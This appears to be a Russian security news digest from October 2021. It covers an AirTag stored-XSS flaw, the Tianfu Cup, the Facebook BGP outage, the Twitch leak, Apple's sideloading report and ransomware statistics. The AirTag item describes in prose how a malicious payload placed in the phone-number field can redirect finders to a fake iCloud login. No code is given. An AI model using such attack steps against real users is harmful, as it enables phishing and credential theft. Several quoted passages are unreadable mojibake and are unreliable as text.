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В этом месяце: гло баль ный сбой в работе Facebook выз вал
нешуточ ную панику, выш ла новая Raspberry Pi Zero 2 W, ком- 
пания Apple рас ска зыва ет об опас ности сто рон ней заг рузки
при ложе ний, у Twitch утек ли дан ные о доходах стри меров,
шиф роваль щик REvil сно ва прек ратил работу и еще мно го
инте рес ного.

ПРОБЛЕМЫ AIRTAG
ИБ-иссле дова тель Боб би Раух (Bobby Rauch) обна ружил, что бре локи AirTag,
которые Apple рек ламиру ет как удоб ное решение для отсле жива ния лич ных
вещей (нап ример, ноут буков, телефо нов, клю чей от машины, рюк заков), под- 
верже ны хра нимой XSS-уяз вимос ти. Раух рас крыл дан ные об этой проб леме
до выхода пат ча, так как разоча ровал ся в bug bounty прог рамме Apple.

Ко рень уяз вимос ти зак люча ется в том, что, ког да поль зователь AirTag
вклю чает «режим уте ри», он может добавить свой номер телефо на и нас тра- 
иваемое сооб щение, которое будет отоб ражать ся для любого, кто най дет
и отска ниру ет AirTag с помощью любого устрой ства с под дер жкой NFC.

Ра ух заметил, что уни каль ная стра ница, соз дава емая на found.apple.com
для каж дого бре лока, под верже на хра нимой XSS и проб лему мож но экс плу- 
ати ровать, вста вив вре донос ные дан ные в поле для номера телефо на.

Ис сле дова тель опи сыва ет сле дующий сце нарий ата ки: зло умыш ленник
вклю чает «режим уте ри» для собс твен ного AirTag и перех ватыва ет зап рос,
свя зан ный с этой опе раци ей. Затем вво дит вре донос ные дан ные в поле
номера телефо на. Пос ле зло умыш ленни ку оста ется лишь сбро сить устрой- 
ство AirTag в том мес те, где его цель (или слу чай ный про хожий, если ата ка
носит оппорту нис тичес кий харак тер) най дет бре лок и прос каниру ет его. Пос- 
ле ска ниро вания такого AirTag немед ленно запус тится вре донос ный пей лоад.

Ра ух про демонс три ровал такую ата ку, внед рив полез ную наг рузку, которая
перенап равля ет жер тву на фишин говую стра ницу, ими тиру ющую iCloud. Пос- 
коль ку речь идет о про дук те Apple, стра ница вхо да в iCloud может не выз вать
подоз рения у жер твы, хотя на самом деле при ска ниро вании най ден ного
AirTag не нуж но пре дос тавлять никакие учет ные дан ные.

Ана логич ным спо собом прес тупник может заманить свою жер тву на любой
дру гой сайт, в том чис ле рас простра няющий мал варь, или соз дать иную
полез ную наг рузку, которая, к при меру, будет перех ватывать токены сеан сов
и кли ки. Так же Раух отме чает, что мож но исполь зовать вре донос ную ссыл ку
на found.apple.com саму по себе, отпра вив ее непос редс твен но сво ей цели.
В этом слу чае полез ная наг рузка запус тится пос ле получе ния дос тупа к ссыл- 
ке и даже не будет необ ходимос ти ска ниро вать AirTag.

Ра ух уве домил Apple о проб леме еще 20 июня 2021 года, но ком пания
реаги рова ла очень мед ленно, пос тоян но при сылая отписки о том, что изу- 
чени ем бага занима ются спе циалис ты. Так же Apple отка залась отве тить
на воп росы экспер та о воз можном воз награж дении за обна ружен ную ошиб- 
ку. В ито ге Раух разоча ровал ся в bug bounty Apple окон чатель но и решил
опуб ликовать детали уяз вимос ти в откры том дос тупе.

Сто ит отме тить, что недав но изда ние Washington Post пос вятило этой
проб леме , в которой мно гие ИБ-спе циалис ты рас ска зыва ли
о таких же проб лемах и утвер жда ли, что Apple оставля ла их баг репор ты
без вни мания месяца ми, выпус кала неэф фектив ные пат чи, занижа ла раз- 
меры воз награж дений и вооб ще зап рещала иссле дова телям учас тво вать
в bug bounty далее, если те начина ли жаловать ся.

боль шую статью

 МЕСТО ПО МАЙНИНГУ БИТКОЙНА3-Å

Эк спер ты Цен тра аль тер натив ных финан сов Кем бридж ско го уни вер ситета пред ста вили ста тис- 
тику, сог ласно которой Рос сия заняла  в мире по май нин гу бит кой на пос ле того,
как в Китае наложи ли зап рет на добычу крип товалют.

третье мес то

По сос тоянию на август 2021 года на Рос сию при ходи лось более  всех май нин говых мощ- 
ностей в мире. Лидером по добыче крип товалют были наз ваны США с , а вто рое мес то
занял Казах стан — .
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ВЫШЛА RASPBERRY
PI ZERO 2 W
Раз работ чики Raspberry Pi Foundation пред ста вили новый одноплат ник
Raspberry Pi Zero 2 W. Новин ка подой дет к боль шинс тву кор пусов и аксессу- 
аров, сде лан ных для пер вого Pi Zero.

В дан ном слу чае про цес сор от Raspberry Pi 3 был помещен на пла ту того
же раз мера, что и у ори гиналь ного Pi Zero. Так, ста рый одно ядер ный
ARM11 на 1 ГГц замени ли четырехъ ядер ным Broadcom BCM2710A1 на базе
Cortex A53 (тоже 1 ГГц). Этот про цес сор исполь зовал ся в ори гиналь ном
Raspberry Pi 3, выпущен ном в 2016 году с так товой час тотой нем ного ниже.
Таким обра зом, мощ ности и воз можнос ти Pi Zero зна читель но уве личи вают ся:
переш ли от одно го ядра к четырем, от 32 бит к 64.

Со осно ватель Raspberry Pi Эбен Аптон сооб щает, что при рост про изво- 
дитель нос ти по срав нению с ори гиналь ным Zero «зависит от рабочих наг- 
рузок», но в работе с мно гопо точ ными задача ми одноплат ник будет «поч ти
в пять раз быс трее». Так же он пишет, что за отвод теп ла отве чают «тол стые
внут ренние слои меди» на пла те, что дол жно помочь пре дот вра тить трот тлинг
от перег рева, который мог бы воз никнуть без исполь зования допол нитель ных
кулеров и ради ато ров.

Так как Pi Zero 2 W по-преж нему пред став ляет собой менее мощ ную
и более мини атюр ную вер сию Pi, для дру гих обновле ний здесь не так мно го
физичес кого мес та. Из-за это го одноплат ник по-преж нему име ет 512 Мбайт
опе ратив ной памяти, Wi-Fi 2,4 ГГц 802.11b/g/n, Bluetooth 4.2, один порт mini
HDMI, а так же два пор та microUSB (один для питания, один для дан ных) и слот
для карт памяти microSD.

Пос коль ку новин ка исполь зует все тот же форм-фак тор Zero, она дол жна
под ходить ко всем выпущен ным ранее кор пусам и аксессу арам, сде лан ным
для ори гиналь ного Pi Zero.

Ап тон говорит, что ком пания рас счи тыва ет отгру зить око ло 200 тысяч Pi
Zero 2 W за оставши еся пару месяцев 2021 года и еще 250 тысяч в пер вой
полови не 2022 года. Эти не слиш ком опти мис тичные прог нозы свя заны
с про дол жающей ся нех ваткой полуп ровод ников, которая уже спро воци рова- 
ла повыше ние цен на флаг ман скую модель Raspberry Pi 4 с 35 до 45 дол- 
ларов. Так же из-за это го ком пания возоб новила про изводс тво вер сии Pi
4 с 1 Гбайт опе ратив ной памяти по цене 35 дол ларов.

Ори гиналь ный Pi Zero W и Pi Zero без Wi-Fi будут по-преж нему про изво- 
дить ся и про давать ся по изна чаль ной цене (10 и 5 дол ларов соот ветс твен но),
а новый Pi Zero 2 W мож но будет при обрести за 15 дол ларов.

ОПАСНОСТЬ БИОМЕТРИИ
Гла ва груп пы InfoWatch Наталья Кас пер ская дала интервью РИА Новос ти и в ходе беседы очень
кри тич но выс казалась о надеж ности биомет ричес ких сис тем. Кас пер ская посове това ла «не
вес тись на удобс тво» и не исполь зовать биомет рию, если без это го мож но обой тись.

→ «Моя лич ная рекомен дация: ни в коем слу чае не сда вать биомет ричес кие
дан ные, не вес тись на удобс тво. Их прак тичес ки с гаран тией укра дут, про дадут,
соль ют. Давай те нам сна чала объ яснят: как эти дан ные пла ниру ется защищать,
в том чис ле от сво их сот рудни ков.

При внед рении биомет рии глав ная опас ность зак люча ется в том, что пока
неяс но, как защитить и верифи циро вать эти дан ные. Граж дане сда ют отпе чат ки
паль цев и фото лиц, их лица сни мают без их ведома и сог ласия на ули цах,
в тран спор те, в офи сах и тор говых цен трах, а потом такую информа цию может
кто-то слить, украсть, перех ватить и исполь зовать, нап ример в круп ных сдел ках
с нед вижимостью, при управле нии сче том в бан ке, при про ходе на зак рытые
объ екты и тому подоб ном»

— пре дос терега ет Наталья Кас пер ская

TIANFU CUP 2021
Ки тай ские ИБ-спе циалис ты получи ли 1,88 мил лиона дол ларов на Tianfu Cup,
круп ней шем и самом прес тижном хакер ском сорев новании в стра не. Во вре- 
мя сос тязания были успешно взло маны Windows 10, iOS 15, Google Chrome,
Apple Safari, Microsoft Exchange Server, Ubuntu 20 и не толь ко.

Tianfu Cup очень похож на извес тное сорев нование Pwn2Own и был соз- 
дан имен но пос ле того, как в 2018 году китай ское пра витель ство зап ретило
мес тным ИБ-иссле дова телям учас тво вать в хакер ских кон курсах, орга низо- 
ван ных за рубежом. Пра вила Tianfu Cup и Pwn2Own похожи: суть сос тязания
зак люча ется в том, что бы исполь зовать ранее неиз вес тные уяз вимос ти и с их
помощью взло мать кон крет ное при ложе ние или устрой ство. Если экс пло ит
сра ботал и ата ка уда лась, иссле дова тели получа ют за это бал лы, а в ито ге
и денеж ные при зы.

Рав но как и во вре мя Pwn2Own, обо всех исполь зован ных экс пло итах
и най ден ных багах сооб щают раз работ чикам ском про мети рован ных про дук- 
тов, и пат чи выходят вско ре пос ле завер шения сорев нования.

В этом году орга низа торы объ яви ли о целях для атак еще летом, так что
у учас тни ков было от трех до четырех месяцев на под готов ку экс пло итов.
Во вре мя сорев нования иссле дова телям дает ся три попыт ки по пять минут,
что бы запус тить свои экс пло иты на устрой ствах, пре дос тавлен ных орга низа- 
тора ми.

На этот раз сорев нование про ходи ло 16 и 17 октября в городе Чэн ду.
Победи теля ми ста ли экспер ты китай ской ИБ-фир мы Kunlun Lab, которые заб- 
рали домой 654 500 дол ларов, что сос тавля ет при мер но треть от обще го
при зово го фон да.

В спи сок целей для Tianfu Cup 2021 вхо дили шес тнад цать устрой ств
и соф твер ных про дук тов, и в ито ге сорев нование ста ло одним из самых
успешных: один надцать учас тни ков реали зова ли ата ки про тив три над цати
целей. Три цели так и не были ском про мети рова ны: NAS Synology DS220j,
смар тфон Xiaomi Mi 11 и китай ский элек тро мобиль, бренд которо го не раз- 
гла шал ся (на этот взлом даже не зарегис три ровал ся ни один учас тник).

За то успешные экс пло иты были про демонс три рова ны:
для Windows 10 (взло мана пять раз);•
Adobe PDF Reader (взло ман четыре раза);•
Ubuntu 20 (взло мана четыре раза);•
Parallels VM (взло ман три раза);•
iOS 15 (взло мана три раза);•
Apple Safari (взло ман два раза);•
Google Chrome (взло ман два раза);•
ро утер ASUS AX56U (взло ман два раза);•
Docker CE (взло ман один раз);•
VMware ESXi (взло ман один раз);•
VMware Workstation (взло ман один раз);•
QEMU VM (взло ман один раз);•
Microsoft Exchange (взло ман один раз).•

Боль шинс тво экс пло итов исполь зовали уяз вимос ти для повыше ния при виле- 
гий и уда лен ного выпол нения кода. Одна ко две ата ки выделя лись сре ди про- 
чих. Пер вая пред став ляла собой цепоч ку атак с уда лен ным выпол нени ем кода
без какого-либо вза имо дей ствия с пол ностью про пач тенной iOS 15, работа- 
ющей на пос леднем iPhone 13. Вто рая пред став ляла собой прос тую дву- 
хуров невую цепоч ку экс пло итов для уда лен ного выпол нения кода в Google
Chrome.

В этом году к сорев новани ям было при кова но вни мание все го мира, так
как показан ный в прош лом году на Tianfu Cup экс пло ит для iOS в ито ге китай-
ские влас ти исполь зовали, что бы сле дить за уйгур ским населе нием.
Это окон чатель но убе дило мно гих ИБ-спе циалис тов в том, что влас ти стра ны
зап ретили китай ским иссле дова телям учас тво вать в хакер ских кон курсах
за гра ницей, что бы луч ше исполь зовать их потен циал для собс твен ных опе- 
раций.

СУПЕРГЕРОИ НЕ СПАСУТ
Ин женеры Mozilla обна ружи ли, что сот ни тысяч человек исполь зуют пароли, так или ина че свя- 
зан ные с раз личны ми супер геро ями. Экспер ты шутят, что такие пароли не обла дают супер- 
защитой и явля ются сла быми, ском про мети ровать их дос таточ но лег ко.

Изу чив ста тис тику агре гато ра уте чек Have I been pwned, иссле дова тели обна ружи ли, что
пароли, соз данные «в честь» супер геро ев, — это доль но рас простра нен ная сре ди поль зовате- 
лей прак тика. Чаще все го в утеч ках встре чает ся пароль Superman (  слу чаев), а за ним
сле дуют Batman (более  слу чаев) и Spider-Man (чуть более  слу чаев). Так же
популяр ны Росома ха, Желез ный человек, Чудо-жен щина и Сор виголо ва, которые обна ружи- 
вают ся в раз личных дам пах .
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де сят ки тысяч раз

Нас тоящие лич ности супер геро ев тоже не оста ются без вни мания, при чем с боль шим отры вом
здесь лидиру ет Джей мс Хоулетт (Логан) — более  паролей, а так же встре чают ся Кларк
Кент, Брюс Уэйн, Питер Пар кер и Тони Старк.
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APPLE ПРОТИВ
СТОРОННЕЙ
ЗАГРУЗКИ
ПРИЛОЖЕНИЙ
Ком пания Apple по-преж нему выс тупа ет про тив заг рузки сто рон них при ложе- 
ний и исполь зования сто рон них магази нов при ложе ний в iOS. В ком пании
уве ряют, что это свя зано исклю читель но с сооб ражени ями кон фиден циаль- 
нос ти и безопас ности, под черки вая, что на Android мал вари боль ше
от 15 до 47 раз.

Све жий отчет ком пании, пос вящен ный это му воп росу, был опуб ликован
в свя зи с тем, что в отно шении Apple в ЕС в нас тоящее вре мя ведет ся анти- 
моно поль ное рас сле дова ние. Его суть сос тоит в том, что ком пания при нуж- 
дает раз работ чиков исполь зовать собс твен ный App Store для уста нов ки при- 
ложе ний и осу щест вле ния пла тежей. Кро ме того, минув шим летом Apple
стол кну лась с проб лемами в США, где два сенато ра выд винули законоп- 
роект, который, если будет при нят, вынудит ком панию открыть свои устрой- 
ства для заг рузки сто рон них при ложе ний и исполь зования сто рон них пла теж- 
ных сис тем.

В све жем отче те Apple заяв ляет, что при чина, по которой устрой ства
на базе iOS исполь зуют исклю читель но App Store как единс твен ный спо соб
уста нов ки при ложе ний, свя зана с сооб ражени ями безопас ности, так как это
поз воля ет спе циалис там ком пании ска ниро вать при ложе ния в поис ках вре- 
донос ного кон тента, преж де чем те дос тигнут поль зовате лей.

Apple цитиру ет заяв ления ряда источни ков (вклю чая Минис терс тво внут- 
ренней безопас ности США, ENISA, Евро пол, Интерпол, NIST, «Лабора торию
Кас пер ско го», Wandera и Norton), которые пре дуп режда ют поль зовате лей,
что уста нов ка при ложе ний из сто рон них катало гов (так называ емый
sideloading) может быть опас на.

«

»

«Ïðè íóäè òåëü íûé sideloading â ýêî ñèñ òåìå iOS ñäå ëàåò iPhone ìåíåå

áåçîïàñ íûì è ìåíåå çàñ ëóæèâà þùèì äîâåðèÿ äëÿ ïîëü çîâàòå ëåé. Òàê

ïðî èçîé äåò íåçàâè ñèìî îò òîãî, çàã ðóæà þòñÿ ñòî ðîí íèå ïðè ëîæå íèÿ

íàï ðÿìóþ èëè ÷åðåç ñòî ðîí íèå ìàãàçè íû ïðè ëîæå íèé», — ïèøóò

ïðåä ñòà âèòå ëè êîì ïàíèè.

Да лее в отче те Apple перечис лены нес коль ко вре донос ных кам паний,
нацелен ных на Android-девай сы, в ходе которых зло умыш ленни ки обма ном
зас тавля ли поль зовате лей заг ружать сто рон ние вре донос ные при ложе ния,
раз мещен ные на сай тах или в неофи циаль ных катало гах.

В этот спи сок вош ли такие кам пании, как Goontact, HiddenAds, FakeSpy,
SpyNote, BlackRock, Banker.BR, TeaBot, Fusob, Anubis, FluBot, HelloSpy,
MalLocker.B, CopyCat, Android.Click.312.origin и FakeAdsBlock. Таким обра зом,
Apple перечис ляет в отче те самые раз ные угро зы, вклю чая обыч ное рек- 
ламное ПО, прог раммы-вымога тели, бан ков ские тро яны, ком мерчес кую
спай варь и даже вре донос ные прог раммы «пра витель ствен ных хакеров»,
которые, по сло вам Apple, зло умыш ленни ки рас простра няли имен но бла- 
года ря sideloading’у и воз можнос ти поль зовате лей Android уста нав ливать
при ложе ния из любого источни ка в интерне те.

«

»

«Íåêîòî ðûå èíè öèàòè âû ïî çàã ðóçêå ñòî ðîí íèõ ïðè ëîæå íèé òàê æå ïîò- 

ðåáó þò [îò Apple] ñíÿ òèÿ çàùèòû îò äîñ òóïà òðåòü èõ ëèö ê ïðîï- 

ðèåòàð íûì àïïà ðàò íûì ýëå ìåí òàì è íåïóá ëè÷íûì ôóí êöè ÿì îïå ðàöè- 

îííîé ñèñ òåìû, — ïèøåò Apple. — Ýòî ïîäîð âåò îñíî âó áåçîïàñ íîñòè

ïëàò ôîðìû, êîòîðàÿ çàùèùà åò îïå ðàöè îííóþ ñèñ òåìó, äàí íûå è ñåð- 

âèñû iPhone îò âðå äîíîñ íûõ ïðîã ðàìì, âçëî ìîâ è ñáî åâ â ðàáîòå.

Ïðè íóæ äåíèå Apple ê ïîä äåð æêå çàã ðóçêè ñòî ðîí íèõ ïðè ëîæå íèé

íà iOS (ïîñ ðåäñ òâîì ïðÿ ìûõ çàã ðóçîê èëè ÷åðåç ñòî ðîí íèå ìàãàçè íû

ïðè ëîæå íèé) îñëà áèò óðîâ íè áåçîïàñ íîñòè è ïîä âåð ãíåò âñåõ ïîëü- 

çîâàòå ëåé íîâûì è ñåðü åçíûì ðèñ êàì. Ýòî ïîç âîëèò âðå äîíîñ íûì

è íåëåãè òèì íûì ïðè ëîæå íèÿì ëåã ÷å äîñ òè÷ü ïîëü çîâàòå ëåé; ïîäîð âåò

ôóí êöèè, êîòîðûå äàþò ïîëü çîâàòå ëÿì êîí òðîëü íàä çàã ðóæà åìû ìè

ëåãèòèì íûìè ïðè ëîæå íèÿìè; ýòî ìîæåò ïîäîð âàòü on-device-çàùèòó

iPhone.

Çàã ðóçêà ñòî ðîí íèõ ïðè ëîæå íèé ñòà ëà áû øàãîì íàçàä ñ òî÷ êè çðå- 

íèÿ áåçîïàñ íîñòè è êîí ôèäåí öèàëü íîñ òè ïîëü çîâàòå ëåé: ïîä äåð æêà

sideloading’à ïðè ëîæå íèé íà óñòðîé ñòâàõ iOS, ïî ñóòè, ïðåâ ðàòèëà áû

èõ â „êàð ìàííûå ÏÊ“, âåð íóâ èõ âî âðå ìåíà çàðàæåí íûõ âèðóñà ìè

êîìïü þòå ðîâ».

 МАТЕРИАЛОВ С ЗАПРЕЩЕННЫМ КОНТЕНТОМ427 000

Пред ста вите ли Рос комнад зора сооб щили, что с янва ря по сен тябрь 2021 года ведомс тво заб- 
локиро вало более 427 тысяч матери алов с зап рещен ным кон тентом. При этом отдель но под- 
черки вает ся, что более тре ти всей зап рещен ной информа ции (  матери ала) обна ружи ли
сами граж дане.

155 584

Так же в Рос комнад зоре отме тили работу соц сетей, которые самос тоятель но уда лили более
 зап рещен ного кон тента. Наиболь ший про цент неуда ления при этом наб людал ся

у Facebook ( ) и YouTube ( ).
45%

19% 11%

СТРИМ С ЭСМИНЦА
USS KIDD
Не извес тный взло мал Facebook-акка унт аме рикан ско го эсминца USS Kidd
и нес коль ко часов стри мил на ском про мети рован ной стра нице, как он игра ет
в Age of Empires. При чем играл взлом щик пло хо и не сумел вый ти даже
из камен ного века.

Пер вым о ком про мета ции сооб щило изда ние Task & Purpose, обна ружив- 
шее, что на стра нице эскадрен ного минонос ца типа «Кидд» кто-то уже четыре
часа стри мит Age of Empires под заголов ком Hahahahaha.

Пос ле это го неиз вес тный вклю чал стрим Age of Empires еще пять раз и каж- 
дый раз играл не менее часа. В ито ге на офи циаль ной стра нице USS Kidd
еще доволь но дол го были дос тупны записи этих стри мов с заголов ками вро- 
де «Hi guys» («При вет, ребята»), «Play game» («Играю») и «Ffffffffffff».

Под писчи ки стра ницы быс тро замети ли стран ную активность и попыта лись
выяс нить у хакера, что про исхо дит. Одна ко тот не отве чал сво им зри телям,
лишь играл, при чем, как было замече но выше, из рук вон пло хо. Фак тичес ки
боль шую часть вре мени неиз вес тный не делал ничего или часами добывал
дре веси ну и камень (игно рируя советы зри телей, которые уже пытались рас- 
ска зать ему, как стро ить зда ния и раз вивать ся в игре).

Как сооб щают жур налис ты, со ссыл кой на пресс-сек ретаря ВМС Николь
Швег ман, воен ные под твержда ют взлом Facebook-акка унта эсминца USS
Kidd, хотя никаких под робнос тей они не пре дос тавили. Записи стри мов были
уда лены, и ВМС США вос ста нови ли кон троль над сво ей учет ной записью.

Ин терес но, что это не пер вый подоб ный слу чай. Так, в 2020 году офи- 
циаль ный Twitter-акка унт воин ской час ти Форт-Брэгг неожи дан но опуб- 
ликовал серию тви тов сек суаль ного харак тера и оста вил ком мента рий к тви ту
модели OnlyFans. Хотя тог да воен ные изна чаль но сооб щили, что их учет ная
запись была взло мана, вско ре выяс нилось, что SMM-менед жер Форт-Брэгг,
похоже, прос то забыл перек лючить ся на свой лич ный акка унт.

ОБВИНЕНИЯ В АДРЕС MICROSOFT
Из вес тный ИБ-эксперт Кевин Бомонт, который работал в Microsoft ана лити ком угроз (с
июня 2020 года по апрель 2021 года), рас кри тико вал ком панию за то, что она не борет ся
со зло упот ребле ниями OneDrive и Ofce 365. Дело в том, что сер висы Microsoft пос тоян но
исполь зуют ся для раз мещения вре донос ного ПО.

→ «Забав но, в MS мы соз дали сис тему для опо веще ния Google Drive о мал вари
BazarLoader, что бы такие ссыл ки бло киро вались, поэто му это про исхо дило так
быс тро (бук валь но за счи таные минуты). Теперь они [зло умыш ленни ки] переб- 
рались в инфраструк туру Microsoft, у которой есть эта сис тема, но они не могут
зас тавить Ofce уда лить фай лы.

До кумен тация Microsoft спе циаль но рекомен дует раз решить ряд доменов,
что бы защит ные решения не про веря ли содер жимое. Поп робуй те-ка защитить
биз нес в таких усло виях.

Microsoft не име ет пра ва рек ламиро вать себя как лидера в области безопас- 
ности, где работа ют 8000 сот рудни ков служ бы безопас ности и обра баты вают ся
трил лионы сиг налов, если они не в сос тоянии пре дот вра тить пря мую экс плу ата- 
цию собс твен ной плат формы Ofce 365 для запус ка прог раммы-вымога теля
Conti, а зло упот ребле ния OneDrive и вов се про дол жают ся годами»

— Бомонт у себя в Twitter

ГЛОБАЛЬНЫЙ СБОЙ
FACEBOOK
4 октября 2021 года Facebook, Instagram и WhatsApp не работа ли боль ше
пяти часов по все му миру. При ложе ния не работа ли, а бра узе ры отоб ражали
ошиб ку DNS при попыт ке под клю чения к сай там. Попыт ка под клю чить ся нап- 
рямую к DNS-сер верам Facebook так же окан чивалась неуда чей.

На фоне проб лем с дос тупом по сети ста ли рас простра нять ся слу хи
о взло ме и колос саль ной утеч ке дан ных: яко бы ком панию взло мали и в сеть
сли ли информа цию 1,5 мил лиар да поль зовате лей Facebook. Это ока залось
ложью.

Сна чала казалось, что проб лема свя зана с DNS, но поз же выяс нилось, что
все нес коль ко хуже. Как пояс няли спе циалис ты, вклю чая Джор джио Бон- 
фиглио (Giorgio Bonglio), гла ву служ бы тех ничес кой под дер жки Amazon AWS,
пре фик сы мар шру тиза ции Facebook вне зап но исчезли из таб лиц мар шру- 
тиза ции BGP, что фак тичес ки сде лало невоз можным под клю чение
к каким-либо служ бам, раз мещен ным на этих IP-адре сах.

Как ста ло понят но, ког да соци аль ные сети зарабо тали вновь, экспер ты
были пол ностью пра вы. Пред ста вите ли Facebook опуб ликова ли офи циаль ный
пресс-релиз, заявив, что сбой был выз ван ошиб кой при изме нении кон- 
фигура ции магис траль ных мар шру тиза торов. Пос коль ку Facebook нас тро ила
всю свою орга низа цию на исполь зование домен ного регис тра тора и DNS-
сер веров, раз мещен ных на их собс твен ном пре фик се мар шру тиза ции, ког да
пре фик сы были уда лены, ник то не мог под клю чить ся к этим IP-адре сам
и служ бам, работа ющим на них.

«

»

«Íàøè èíæå íåð íûå ãðóï ïû óñòà íîâè ëè, ÷òî èçìå íåíèÿ â êîí ôèãóðà öèè

íà ìàãèñ òðàëü íûõ ìàð øðó òèçà òîðàõ, êîòîðûå êîîð äèíèðó þò ñåòåâîé

òðà ôèê ìåæ äó íàøèìè öåí òðà ìè îáðà áîò êè äàí íûõ, ñïðî âîöè ðîâà ëè

ïðîá ëåìû è ïðåð âàëè ñâÿçü, — ïèøåò Ñàí òîø Äæà íàð äõàí (Santosh

Janardhan), âèöå‑ïðå çèäåíò ïî ïðî åêòè ðîâà íèþ è èíôðàñòðóê òóðå

Facebook. — Ýòî íàðóøå íèå ñåòåâî ãî òðà ôèêà îêà çàëî êàñ êàäíîå âëè- 

ÿíèå íà ðàáîòó íàøèõ äàòà‑öåí òðîâ, â ðåçóëü òàòå ÷åãî íàøè óñëó ãè

ñòà ëè íåäîñ òóïíû».

Так же сооб щалось, что проб лемы с кон фигура цией пов лияли и на внут ренние
сис темы и инс тру мен ты ком пании, еще боль ше зат руднив диаг ности ку и вос- 
ста нов ление работы. Так, мно гочис ленные ано ним ные источни ки в СМИ
и соци аль ных сетях утвер жда ли, что сот рудни ки Facebook не сумели опе- 
ратив но попасть в собс твен ные дата-цен тры и получить дос туп к проб лемно- 
му обо рудо ванию, так как из-за сбоя в самой ком пании царил нас тоящий
хаос.

Кро ме того, во вре мя гло баль ного отклю чения Facebook и дру гих сер- 
висов ком пании в сети воз никла нас тоящая паника. Дело в том, что мно гие
СМИ сооб щили, что сбой воз ник не слу чай но: яко бы ком панию взло мали
и теперь в дар кне те про дают лич ные дан ные полуто ра мил лиар дов поль- 
зовате лей соци аль ной сети.

Ог ромный дамп (яко бы раз мером 600 Тбайт), дей стви тель но недав но
появив ший ся на форуме RAID, буд то бы содер жит име на, email-адре са,
номера телефо нов, ID, дан ные о ген дере и мес тонахож дении поль зовате лей.

Проб лема зак лючалась в том, что этот дамп появил ся в про даже еще в кон це
сен тября, а дан ные, судя по все му, были соб раны при помощи скра пин га (то
есть сбо ра и агре гации и без того откры тых дан ных). Подоб ные БД появ ляют- 
ся на чер ном рын ке регуляр но. Более того, дру гие учас тни ки хак-форума
обви нили про дав ца в мошен ничес тве.

«

»

«Ñêà ìåð. Îòïðàâ ëÿåò òîëü êî [âûáîð êó äàí íûõ] 20 ïîëü çîâàòå ëåé.

Áîëü øå íåò. Íå ïðè íèìà åò óñëîâíîå äåïîíè ðîâà íèå (ìîäåðà òîð).

Íî îí æäåò, ÷òî âû ïîâåðè òå â [ðåàëü íîñòü] ýòèõ 20 îáðàçöîâ è îòïðà- 

âèòå åìó 5000 äîë ëàðîâ. Âìåñ òî 1,5 ìèë ëèàð äà, ÿ äóìàþ, ó íåãî åñòü

äàí íûå 150 ïîëü çîâàòå ëåé äëÿ ñîöè àëü íîé èíæå íåðèè», — ïèøåò îäèí

èç ó÷àñ òíè êîâ ôîðóìà.

«Õàõàõà õà 600 Òá áóð ãåðíûõ ñåë ôè Ìàð êà Öóêåðà :D», — ñìå åòñÿ

äðó ãîé ïîëü çîâàòåëü RAID.

 ДОЛЛАРОВ «ЗАРАБОТАЛИ» ВЫМОГАТЕЛИ5 200 000 000

Под разде ление по рас сле дова нию финан совых прес тупле ний при Минис терс тве финан сов
США, так же извес тное как FinCEN, отчи талось о выяв лении бит койн-тран закций на сум му око ло

. Все эти средс тва спе циалис ты свя зыва ют с активностью шиф- 
роваль щиков.
5,2  мил лиар да дол ларов

Это чис ло было получе но пос ле ана лиза  отче тов о подоз ритель ной активнос ти, подан ных
финан совыми учрежде ниями США за пос леднее десяти летие (с 1 янва ря 2011 года
по 30 июня 2021 года).

2184

В общей слож ности экспер ты FinCEN иден тифици рова ли  кошель ков CVC («кон верти руемой
вир туаль ной валюты»), которые исполь зовались для пла тежей, свя зан ных с шиф роваль щиками.

177

По каза тели за пер вое полуго дие 2021 года пре выша ют показа тели за весь 2020 год целиком,
что явно сви детель ству ет о стре митель ном рос те активнос ти вымога телей. Сред няя сум ма еже- 
месяч ных тран закций, свя зан ных с вымога тель ским ПО, в 2021 году сос тавила 
дол ларов.

102 300 000

В пер вом полуго дии 2021 года чаще все го в отче тах фигури рова ли образчи ки мал вари
, , ,  и .REvil/Sodinokibi Conti DarkSide Avaddon Phobos

УТЕЧКА ДАННЫХ
TWITCH
В начале октября на 4chan была опуб ликова на ссыл ка на тор рент-файл,
содер жащий поч ти 130 Гбайт дан ных ком пании Twitch. Неиз вес тные хакеры
сли ли в откры тый дос туп исходный код и биз нес-дан ные плат формы. Так
как дамп помечен как «часть пер вая», оче вид но, в будущем взлом щики пла- 
ниру ют опуб ликовать что-то еще.

Зло умыш ленни ки заяви ли, что эта утеч ка — ответ на недав ние «рей ды
ненавис ти» (ско орди ниро ван ные бот-ата ки, навод нившие чаты стри меров
ненавис тни чес ким и оскорби тель ным кон тентом). Минув шим летом эта
напасть кос нулась мно гих стри меров плат формы.

«

»

«Èõ ñîîá ùåñ òâî… — ýòî îòâðà òèòåëü íàÿ è òîê ñè÷íàÿ âûã ðåáíàÿ ÿìà,

ïîýòî ìó, ÷òî áû ñòè ìóëè ðîâàòü äàëü íåéøèé ðàç âàë è êîí êóðåí öèþ

â ñôå ðå ñòðè ìèí ãà âèäåî, ìû ïîë íîñòüþ èõ ïîèìå ëè è â ïåð âîé ÷àñ òè

äàì ïà ïóá ëèêó åì èñõîäíûé êîä èç ïî÷ òè 6000 âíóò ðåííèõ ðåïîçè òîðè- 

åâ Git», — ïèñàëè àâòî ðû ñëè âà.

СМИ изу чили опуб ликован ный тор рент и приш ли к выводу, что в целом его
содер жимое сов пада ет с опи сани ем хакеров:

Twitch.tv пол ностью, с исто рией ком митов, ухо дящей кор нями к стар ту сер- 
виса.

•

Кли енты Twitch для мобиль ных и дес ктоп ных устрой ств, а так же игро вых
кон солей.

•

Раз личные проп риетар ные SDK и внут ренние сер висы AWS, исполь зуемые
Twitch.

•

Про чая собс твен ность, которой вла деет Twitch, вклю чая IGDB
и CurseForge.

•

Не изданный кон курент Steam от Amazon Game Studios [пред полага емый
кон курент Steam от Amazon носит внут реннее наз вание Vapor].

•

Внут ренние инс тру мен ты red team Twitch SOC.•
А так же: отче ты о вып латах авто рам за пери од с 2019 года по нас тоящее
вре мя. Узнай те, сколь ко на самом деле зараба тыва ет ваш любимый стри- 
мер!

•

На ибо лее кон фиден циаль ные дан ные, обна ружен ные жур налис тами в дам пе,
пред став ляли собой пап ки, содер жащие информа цию о механиз мах иден- 
тифика ции и аутен тифика ции поль зовате лей Twitch, адми нис тра тив ных
средс твах управле ния, а так же дан ные внут ренней служ бы безопас ности
Twitch, вклю чая модели угроз и фото белой дос ки, на которой опи сыва лись
раз личные час ти внут ренней инфраструк туры Twitch.

Продолжение статьи →



 Начало статьи←

